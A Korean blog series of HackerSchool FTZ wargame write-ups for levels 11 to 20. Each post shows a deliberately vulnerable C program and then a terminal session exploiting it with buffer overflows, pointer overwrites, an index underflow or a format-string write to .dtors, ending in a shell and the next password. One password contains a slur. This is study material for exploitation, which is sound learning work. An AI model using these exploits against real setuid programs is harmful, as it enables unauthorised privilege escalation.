[level20@ftz level20]$                      

[level20@ftz level20]$ ls                   

attackme  hint  public_html  tmp            

[level20@ftz level20]$ cat hint             

                                            

#include <stdio.h>                          

main(int argc,char **argv)                  

{ char bleh[80];                            

  setreuid(3101,3101);                      

  fgets(bleh,79,stdin);                     

  printf(bleh);                             

}                                           

                                            

[level20@ftz level20]$  cd /tmp/asdf       

[level20@ftz asdf]$ ./egg        

Using address: 0xbffff1e8        

[level20@ftz asdf]$ ./mygetegg   

EGG : 0xbffff2e5                 

[level20@ftz asdf]$              

[level20@ftz asdf]$ cd ~

[level20@ftz level20]$ objdump -s -j .dtors ./attackme   

                                                         

./attackme:     file format elf32-i386                   

                                                         

Contents of section .dtors:                              

 8049594 ffffffff 00000000                    ........   

[level20@ftz level20]$                                   

[level20@ftz level20]$   

[level20@ftz level20]$ (python -c "print 'AAAA%8x'") | ./attackme            

AAAA      4f                                                                 

[level20@ftz level20]$ (python -c "print 'AAAA%8x%8x'") | ./attackme         

AAAA      4f4212ecc0                                                         

[level20@ftz level20]$ (python -c "print 'AAAA%8x%8x%8x'") | ./attackme      

AAAA      4f4212ecc04207a750                                                 

[level20@ftz level20]$ (python -c "print 'AAAA%8x%8x%8x%8x'") | ./attackme   

AAAA      4f4212ecc04207a75041414141                                         

[level20@ftz level20]$                                                       



4+4+4+4+8+8+8 = 40


f2e5 = 62181 - 40= 62141


1bfff - f2e6 = 52506




[level20@ftz level20]$ (python -c "print 'AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62141c%n%52506c%n'";cat) | ./attackme                                                   

ls                                                                     

attackme  hint  public_html  tmp                                                                     

my-pass                                                                

TERM environment variable not set.                                     

                                                                       

clear Password is "i will come in a minute".                       웹에서 등록하세요.

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.


[level20@ftz level20]$                                  


'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 20  (0) 2015.04.22
HackerSchool Level 19  (0) 2015.03.23
HackerSchool Level 18  (0) 2015.03.23
HackerSchool Level 17  (0) 2015.03.22
HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22

[level19@ftz level19]$ ls

attackme  hint  public_html  tmp

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}


[level19@ftz level19]$


이번 문제도 간단한 버퍼 오버플로우 문제다.

해커스쿨은 정말 한결같이 버퍼오버플로우 문제를 내는 것 같다..

이번에도 어김없이 에그 쉘을 실행한다.


[level19@ftz tmp]$ ./egg

Using address: 0xbfffe988

[level19@ftz tmp]$ ./mygetegg

EGG : 0xbffff2e5

[level19@ftz tmp]$


그리고 버퍼의 사이즈에서 4바이트씩 더해가며 에그쉘의 주소를 입력해준다.


[level19@ftz level19]$ (python -c "print 'A'*20+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAåòÿ¿


[level19@ftz level19]$ (python -c "print 'A'*24+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


[level19@ftz level19]$ (python -c "print 'A'*28+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


[level19@ftz level19]$ (python -c "print 'A'*32+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


[level19@ftz level19]$ (python -c "print 'A'*36+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


[level19@ftz level19]$ (python -c "print 'A'*40+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


Segmentation fault

[level19@ftz level19]$ (python -c "print 'A'*44+'\xe5\xf2\xff\xbf'";cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


id

uid=3100(level20) gid=3099(level19) groups=3099(level19)

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".



[level19@ftz level19]$


'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 20  (0) 2015.04.22
HackerSchool Level 19  (0) 2015.03.23
HackerSchool Level 18  (0) 2015.03.23
HackerSchool Level 17  (0) 2015.03.22
HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22

[level18@ftz level18]$ ls

attackme  hint  public_html  tmp

[level18@ftz level18]$ cat hint


#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}


[level18@ftz level18]$


#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}


소스를 보면 사용자로부터 입력을 받아 스위치 문 안의 작업을 수행하는 프로그램 이다.

무한루프를 돌면서 check 변수의 값을 0xdeadbeef와 같은지 검사를 하는 것을 보면, 스위치 문 안의 무엇인가를 이용하여 check 변수를 변조해야 한다는 것을 알 수 있다.


소스를 보면 \n 이거나 \r, 0x08이 아닐때, string[count]에 해당 값을 입력하는 것을 볼 수 있는데

0x08일때는 count의 값을 감소시킬 수 있다. 그말은 count값을 사용자 맘대로 바꿀 수 있다는 건데,

count를 -4로 바꿔버리게 되면 check를 참조할 수 있다는 말이 된다.

check를 참조하여 0xdeadbeef의 값을 넣도록 하자.


[level18@ftz level18]$ (python -c "print '\x08'*4+'\xef\xbe\xad\xde'";cat) | ./attackme

Enter your command:

id

uid=3099(level19) gid=3098(level18) groups=3098(level18)

my-pass


Level19 Password is "swimming in pink".


'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 20  (0) 2015.04.22
HackerSchool Level 19  (0) 2015.03.23
HackerSchool Level 18  (0) 2015.03.23
HackerSchool Level 17  (0) 2015.03.22
HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22

[level17@ftz level17]$ ls

attackme  hint  public_html  tmp

[level17@ftz level17]$ cat hint


#include <stdio.h>


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}


[level17@ftz level17]$ 

#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}


이번 문제도 전 문제와 마찬가지로 call 포인터를 덮어씌우는 문제이다.

전의 문제와 차이점이라면 전의 문제는 쉘 함수가 내장되어 있었지만 이번문제는 외부에서 쉘코드를 실행시켜놓고 쉘코드의 주소를 덮어 씌운다는 점이다.

이번에도 어김없이 에그쉘을 실행해보도록 하자.



[level17@ftz tmp]$ ./egg

Using address: 0xbfffdce8

[level17@ftz asdf]$ ./mygetegg

EGG : 0xbffff2cc

[level17@ftz tmp]$



buf의 사이즈에서부터 4바이트씩 증가해가면서 경과를 지켜본다.


[level17@ftz level17]$ (python -c "print 'A'*20+'\xcc\xf2\xff\xbf'";cat) | ./attackme

Hello there!


[level17@ftz level17]$ (python -c "print 'A'*24+'\xcc\xf2\xff\xbf'";cat) | ./attackme

Hello there!


[level17@ftz level17]$ (python -c "print 'A'*28+'\xcc\xf2\xff\xbf'";cat) | ./attackme

Hello there!


[level17@ftz level17]$ (python -c "print 'A'*32+'\xcc\xf2\xff\xbf'";cat) | ./attackme

Hello there!


[level17@ftz level17]$ (python -c "print 'A'*36+'\xcc\xf2\xff\xbf'";cat) | ./attackme


Segmentation fault

[level17@ftz level17]$ (python -c "print 'A'*40+'\xcc\xf2\xff\xbf'";cat) | ./attackme


id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.


Level18 Password is "why did you do it".


'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 19  (0) 2015.03.23
HackerSchool Level 18  (0) 2015.03.23
HackerSchool Level 17  (0) 2015.03.22
HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22
HackerSchool Level 14  (0) 2015.03.22


[level16@ftz level16]$ ls

attackme  attackme.c  hint  public_html  tmp

[level16@ftz level16]$ cat hint


#include <stdio.h>


void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}


[level16@ftz level16]$



#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}


소스를 보면 버퍼오버플로우를 이용해 call 포인터를 shell 함수의 주소로 덮어씌워 printit 함수가 아닌 shell 함수를 실행하도록 하는 문제인것을 알 수 있다.


먼저 gdb를 이용해 shell 함수의 주소를 가져오도록 하자.


[level16@ftz tmp]$ gdb -q ./attackme

(gdb) print/x &shell

$1 = 0x80484d0

(gdb)


주소를 가져왔으면 buf의 사이즈에서 4씩 더해가며 버퍼오버플로우를 해보도록 하자.



[level16@ftz level16]$ (python -c "print 'A'*20+'\xd0\x84\x04\x08'";cat) | ./attackme

Hello there!


[level16@ftz level16]$ (python -c "print 'A'*24+'\xd0\x84\x04\x08'";cat) | ./attackme

Hello there!


[level16@ftz level16]$ (python -c "print 'A'*28+'\xd0\x84\x04\x08'";cat) | ./attackme

Hello there!


[level16@ftz level16]$ (python -c "print 'A'*32+'\xd0\x84\x04\x08'";cat) | ./attackme

Hello there!


[level16@ftz level16]$ (python -c "print 'A'*36+'\xd0\x84\x04\x08'";cat) | ./attackme


Segmentation fault

[level16@ftz level16]$ (python -c "print 'A'*40+'\xd0\x84\x04\x08'";cat) | ./attackme


id

uid=3097(level17) gid=3096(level16) groups=3096(level16)

my-pass


Level17 Password is "king poetic".



'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 18  (0) 2015.03.23
HackerSchool Level 17  (0) 2015.03.22
HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22
HackerSchool Level 14  (0) 2015.03.22
HackerSchool Level 13  (0) 2015.03.22


[level15@ftz level15]$ ls

attackme  hint  public_html  tmp

[level15@ftz level15]$ cat hint


#include <stdio.h>


main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}


[level15@ftz level15]$



#include <stdio.h>

main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}


소스를 보면 check 포인터에 있는 주소로 가서 해당 값이 0xdeadbeef와 같으면 쉘을 실행시킨다.

그렇다면 check로 가르킬 곳을 먼저 만들어야 된다.

필자를 환경변수에 값을 넣어놓고 환경변수의 주소를 가져와 포인터에 넣어보도록 하겠다.



[level15@ftz tmp]$ export zairo=$(python -c "print '\xef\xbe\xad\xde'")

[level15@ftz tmp]$ cat getzairo.c

#include <stdio.h>

int main()

{

  printf("EGG : %p\n", getenv("zairo"));

  return 0;

}

[level15@ftz tmp]$ gcc -o getzairo ./getzairo.c

[level15@ftz tmp]$ ./getzairo

EGG : 0xbfffff4d

[level15@ftz tmp]$


자 주소를 가져왔으니, 이제 buf를 오버플로우 시켜 포인터에 값을 넣을 차례이다.



[level15@ftz level15]$ (python -c "print 'A'*20+'\x4d\xff\xff\xbf'";cat)| ./attackme


[level15@ftz level15]$ (python -c "print 'A'*24+'\x4d\xff\xff\xbf'";cat)| ./attackme


[level15@ftz level15]$ (python -c "print 'A'*28+'\x4d\xff\xff\xbf'";cat)| ./attackme


[level15@ftz level15]$ (python -c "print 'A'*32+'\x4d\xff\xff\xbf'";cat)| ./attackme


[level15@ftz level15]$ (python -c "print 'A'*36+'\x4d\xff\xff\xbf'";cat)| ./attackme


Segmentation fault

[level15@ftz level15]$ (python -c "print 'A'*40+'\x4d\xff\xff\xbf'";cat)| ./attackme


id

uid=3096(level16) gid=3095(level15) groups=3095(level15)

my-pass


Level16 Password is "about to cause mass".



[level15@ftz level15]$


'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 17  (0) 2015.03.22
HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22
HackerSchool Level 14  (0) 2015.03.22
HackerSchool Level 13  (0) 2015.03.22
HackerSchool Level 12  (0) 2015.03.22


[level14@ftz level14]$ ls

attackme  hint  public_html  tmp

[level14@ftz level14]$ cat hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷 스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.


#include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}

[level14@ftz level14]$


소스를 보면 buf의 값을 버퍼오버플로우 시켜 check 값을 0xdeadbeef로 만들면 되는 문제이다.

http://zairo.tistory.com/entry/OverTheWire-%E2%80%93-Narnia-Level-0의 문제와 비슷하여 따로 설명은 하지 않겠다.



[level14@ftz level14]$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'";cat)| ./attackme


[level14@ftz level14]$ (python -c "print 'A'*24+'\xef\xbe\xad\xde'";cat)| ./attackme


[level14@ftz level14]$ (python -c "print 'A'*28+'\xef\xbe\xad\xde'";cat)| ./attackme


[level14@ftz level14]$ (python -c "print 'A'*32+'\xef\xbe\xad\xde'";cat)| ./attackme


[level14@ftz level14]$ (python -c "print 'A'*36+'\xef\xbe\xad\xde'";cat)| ./attackme


[level14@ftz level14]$ (python -c "print 'A'*40+'\xef\xbe\xad\xde'";cat)| ./attackme


id

uid=3095(level15) gid=3094(level14) groups=3094(level14)

my-pass


Level15 Password is "guess what".



'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 16  (0) 2015.03.22
HackerSchool Level 15  (0) 2015.03.22
HackerSchool Level 14  (0) 2015.03.22
HackerSchool Level 13  (0) 2015.03.22
HackerSchool Level 12  (0) 2015.03.22
HackerSchool Level 11  (0) 2015.03.22

[level13@ftz level13]$ ls

attackme  hint  public_html  tmp

[level13@ftz level13]$ cat hint


#include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}


[level13@ftz level13]$

이번문제도 버퍼오버플로우 문제이다.

하지만 보면 i가 버퍼오버플로우를 막아주는 역할을 하고있다.

i의 값도 0x1234567로 바꿔주면 우회가 될것이다.

#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}


마찬가지로 에그 쉘을 실행한다.


[level13@ftz tmp]$ ./egg

Using address: 0xbffff978

[level13@ftz tmp]$ ./mygetegg

EGG : 0xbffff2e5

[level13@ftz tmp]$


4바이트씩 더해가며 먼저 buffer overflow의 warnning이 안뜨는지 지켜본다.

그리고 warnning이 안뜰경우 뒤의 바이트를 4바이트씩 증가해가며 ret를 변조한다.


[level13@ftz level13]$ ./attackme $(python -c 'print "A"*1024+"\x67\x45\x23\x01"+"A"*4+"\x78\xf9\xff\xbf"')

 Warnning: Buffer Overflow !!!

Segmentation fault

[level13@ftz level13]$ ./attackme $(python -c 'print "A"*1028+"\x67\x45\x23\x01"+"A"*4+"\x78\xf9\xff\xbf"')

 Warnning: Buffer Overflow !!!

Segmentation fault

[level13@ftz level13]$ ./attackme $(python -c 'print "A"*1032+"\x67\x45\x23\x01"+"A"*4+"\x78\xf9\xff\xbf"')

 Warnning: Buffer Overflow !!!

Segmentation fault

[level13@ftz level13]$ ./attackme $(python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*4+"\x78\xf9\xff\xbf"')

[level13@ftz level13]$ ./attackme $(python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*8+"\x78\xf9\xff\xbf"')

Segmentation fault

[level13@ftz level13]$ ./attackme $(python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x78\xf9\xff\xbf"')

sh-2.05b$ id

uid=3094(level14) gid=3093(level13) groups=3093(level13)

sh-2.05b$ my-pass

TERM environment variable not set.


Level14 Password is "what that nigga want?".


sh-2.05b$



'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 15  (0) 2015.03.22
HackerSchool Level 14  (0) 2015.03.22
HackerSchool Level 13  (0) 2015.03.22
HackerSchool Level 12  (0) 2015.03.22
HackerSchool Level 11  (0) 2015.03.22
HackerSchool Level 10  (0) 2015.03.21

[level12@ftz level12]$ ls

attackme  hint  public_html  tmp

[level12@ftz level12]$ cat hint


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

        char str[256];


        setreuid( 3093, 3093 );

        printf( "문장을 입력하세요.\n" );

        gets( str );

        printf( "%s\n", str );

}


[level12@ftz level12]$


이번문제도 전의 문제와 같다.

다만, 전의 문제는 argv로 입력을 받아 사용하였지만, 이번문제는 프로그램을 실행하고 나서 값을 입력받는다는 점이 다르다.

전 문제와 같이 에그쉘을 실행한다.


[level12@ftz tmp]$ ./egg

Using address: 0xbfffe4e8

[level12@ftz tmp]$ ./mygetegg

EGG : 0xbffff2e0

[level12@ftz tmp]$


쉘의 주소를 받아온다.

전 문제와 같이 buffer에서 4바이트씩 더해가며 실행해보도록 한다.


[level12@ftz level12]$ (python -c 'print "A"*256+"\xe5\xf2\xff\xbf"';cat) | ./attackme

문장을 입력하세요.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


[level12@ftz level12]$ (python -c 'print "A"*260+"\xe5\xf2\xff\xbf"';cat) | ./attackme

문장을 입력하세요.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


[level12@ftz level12]$ (python -c 'print "A"*264+"\xe5\xf2\xff\xbf"';cat) | ./attackme

문장을 입력하세요.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿


Segmentation fault

[level12@ftz level12]$ (python -c 'print "A"*268+"\xe5\xf2\xff\xbf"';cat) | ./attackme

문장을 입력하세요.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿

ls

attackme  hint  public_html  tmp

id

uid=3093(level13) gid=3092(level12) groups=3092(level12)

my-pass

TERM environment variable not set.


Level13 Password is "have no clue".


[level12@ftz level12]$


'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 14  (0) 2015.03.22
HackerSchool Level 13  (0) 2015.03.22
HackerSchool Level 12  (0) 2015.03.22
HackerSchool Level 11  (0) 2015.03.22
HackerSchool Level 10  (0) 2015.03.21
HackerSchool Level 9  (0) 2015.03.21

[level11@ftz level11]$ ls

attackme  hint  public_html  tmp

[level11@ftz level11]$ cat hint

#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

        char str[256];


        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}

[level11@ftz level11]$

hint 파일은 attackme의 소스인듯 하다.

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

먼저 소스를 보면 두가지 취약점을 발견할 수 있다.

첫번째는, strcpy 함수의 버퍼오버플로우 취약점 

두번째는, 포맷스트링 취약점이다.

포맷스트링 취약점을 이용해 푸는 것보다는 버퍼오버플로우가 더 간단하니 버퍼오버플로우를 이용하여 풀어보도록 하자.


[level11@ftz tmp]$ ./egg

Using address: 0xbffff3e8

[level11@ftz tmp]$ ./mygetegg

EGG : 0xbffff2e5

[level11@ftz asdf]$


에그 쉘을 실행하고, 주소를 읽어오도록 하자.

에그쉘은 인터넷에 검색하면 쉽게 얻을 수 있다.



[level11@ftz level11]$ ./attackme (python -c 'print "A"*256+"\xe5\xf2\xff\xbf"')

bash: syntax error near unexpected token `python'

[level11@ftz level11]$ ./attackme $(python -c 'print "A"*256+"\xe5\xf2\xff\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿[level11@ftz level11]$

[level11@ftz level11]$ ./attackme $(python -c 'print "A"*260+"\xe5\xf2\xff\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAåòÿ¿[level11@ftz level11]$

[level11@ftz level11]$ ./attackme $(python -c 'print "A"*264+"\xe5\xf2\xff\xbf"')

Segmentation fault

[level11@ftz level11]$ ./attackme $(python -c 'print "A"*268+"\xe5\xf2\xff\xbf"')

sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.


Level12 Password is "it is like this".


sh-2.05b$


버퍼의 사이즈만큼 A로 채워주고 4바이트씩 더해가며 뒤에 주소를 입력하여 준다.

몇번 하다보면 금방 풀린다. 자세한 설명은 전에도 하였기에 생략하도록 한다. 아래페이지를 참고하여도 된다.


http://zairo.tistory.com/entry/OverTheWire-%E2%80%93-Narnia-Level-0

'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool Level 13  (0) 2015.03.22
HackerSchool Level 12  (0) 2015.03.22
HackerSchool Level 11  (0) 2015.03.22
HackerSchool Level 10  (0) 2015.03.21
HackerSchool Level 9  (0) 2015.03.21
HackerSchool Level 8  (0) 2015.03.21

+ Recent posts